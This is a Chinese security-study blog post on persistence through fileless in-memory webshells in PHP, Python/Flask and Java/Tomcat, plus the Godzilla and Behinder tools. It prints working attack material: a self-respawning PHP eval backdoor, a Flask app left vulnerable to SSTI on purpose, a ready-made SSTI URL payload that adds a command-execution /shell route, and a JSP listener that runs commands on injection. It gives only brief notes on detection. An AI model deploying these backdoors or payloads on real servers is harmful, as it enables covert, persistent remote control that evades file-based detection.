第146天:内网安全-Web权限维持&各语言内存马&Servlet-api类&Spring类&Agent类

目录

前置知识及资源

案例一: 权限维持-Web-内存马-PHP

案例二: 权限维持-Web-内存马-Python

案例三: 权限维持-Web-内存马-JAVA

案例四: 权限维持-Web-内存马-哥斯拉&冰蝎

哥斯拉

​编辑

冰蝎


前置知识及资源

什么是内存马?

Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的 Webshell 都是基于
文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于 Webshell 内存马
是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
度。

本文涉及到的代码下载地址

链接: https://pan.baidu.com/s/1znRj_L9MN69DrsOV6cQHgQ?pwd=x8i8 提取码: x8i8

案例一: 权限维持-Web-内存马-PHP

php内存马代码

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    @unlink(__FILE__);
    $file = '.HH.php';
    $code = '<?php @eval($_POST[\'c\']); ?>';
    while (1){
       file_put_contents($file,$code);
       usleep(5000);
    }
?>

这段代码中各部分的含义

ignore_user_abort(true);     ##代表该代码只要运行了就不会断开、

set_time_limit(0);     ##该代码运行的时间,设置为0就是一致运行

@unlink(__FILE__);        ##删除文件

while (1){
 file_put_contents($file,$code);    ## 死循环创建文件并且写入
 usleep(5000);   ##延时
}

创建文件并且查看

然后访问http://ip/,这里会卡住,把之前创建的index文件会被删除,后面的页面是我访问的缓存,同时会产生一个.HH.php文件,这个文件是linux的隐藏文件,但是不知为何,我linux搭建的访问不了,只能这样演示。

.HH.php里面是一句话木马

在我去删除的时候,他又会立刻去创建出来,甚至在我鼠标右键的时候因为这个文件不断地创建,右键页面也不能打开,从时间也可以看出来这个文件,在一直的刷新

如何查杀

1. 因为写在了内存中,所以直接重启

2. 可以写一个条件竞争的代码,也是一直执行,刚创建就对其进行删除

案例二: 权限维持-Web-内存马-Python

漏洞代码,这段代码中有ssti注入漏洞

from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World'


@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.values.get('param'))

    return render_template_string(template)


if __name__ == '__main__':
    app.run(port=8000)   

 render_template_string函数会渲染字符串,而字符串中有用户能控制输入的参数param,就造成了命令执行的危害

创建代码,并执行

生成内存马,利用的时候只需要修改对应test的模块以及对应param的参数

http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}

然后访问

shell?cmd=命令

 

但是创建文件的地方并没有shell的影子文件也没有修改

参考文章:Python 内存马分析 - 先知社区

案例三: 权限维持-Web-内存马-JAVA

环境搭建

选择tomcat目录,导入程序的war包

 导入jdk

shift+f10进行启动

 java有三大组件,listener-->filter-->servlet,这里的原理就是把木马写入组件内存中

 

监听器

 漏洞代码是一个文件上传页面

listener-内存马

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
    Object obj = request.getServletContext();
    java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
    //获取ApplicationContext
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    //获取StandardContext
    ListenerDemo listenerdemo = new ListenerDemo();
    //创建能够执行命令的Listener
    standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
    public class ListenerDemo implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("requestDestroyed");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("requestInitialized");
            try{
                String cmd = sre.getServletRequest().getParameter("cmd");
                Runtime.getRuntime().exec(cmd);
            }catch (Exception e ){
                //e.printStackTrace();
            }
        }
    }
%>

 上传

 

访问页面,虽然是空白

但是现在已经可以在后面跟命令执行了

甚至随便访问一个不存在的目录

目录中也并没有一点,木马的影子

甚至把这个文件删除掉仍然还能够运行

 

重启代码失效

过滤器和伺服器,利用和前面一摸一样的,不再复现

案例四: 权限维持-Web-内存马-哥斯拉&冰蝎

实战过程中由于中间件不同,可能有tomcat,weblogic等等就会出现不同种类的内存马,甚至有类似spring框架开发,就导致不能通用,所以现在要演示通过哥斯拉&冰蝎复现

哥斯拉

生成木马

上传

建立连接

生成内存马

生成之后会发现目录下不会有这个文件

 

利用内存马建立连接的时候,要注意他会把这个文件默认上传到网站根目录下,并且密码默认的是password而不是pass

 利用内存马建立的连接

冰蝎

冰蝎在使用的过程中呢,会出现很多bug,个人觉得没有哥斯拉好用

上传木马进行连接,冰蝎的木马不用生成,目录里面就有

 右键目标连接,进行内存马的注入

到这里创建不了内存马了,这个版本不可以选择filter

后面换成了小迪视频里面的冰蝎版本,视频中问题是木马不能再Upload目录下,这里我试了也不行,所以这个还是有很多的bug的

 创建的时候是创建在网站根目录,访问也是利用根目录访问

成功连接,并且目录没有123文件

至此内网学习暂时告一段落,后面的vpc项目1和2已经下线,vpc4太大了,vpc3后可能做一下,希望你也能看到这里^_^

  • 13
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值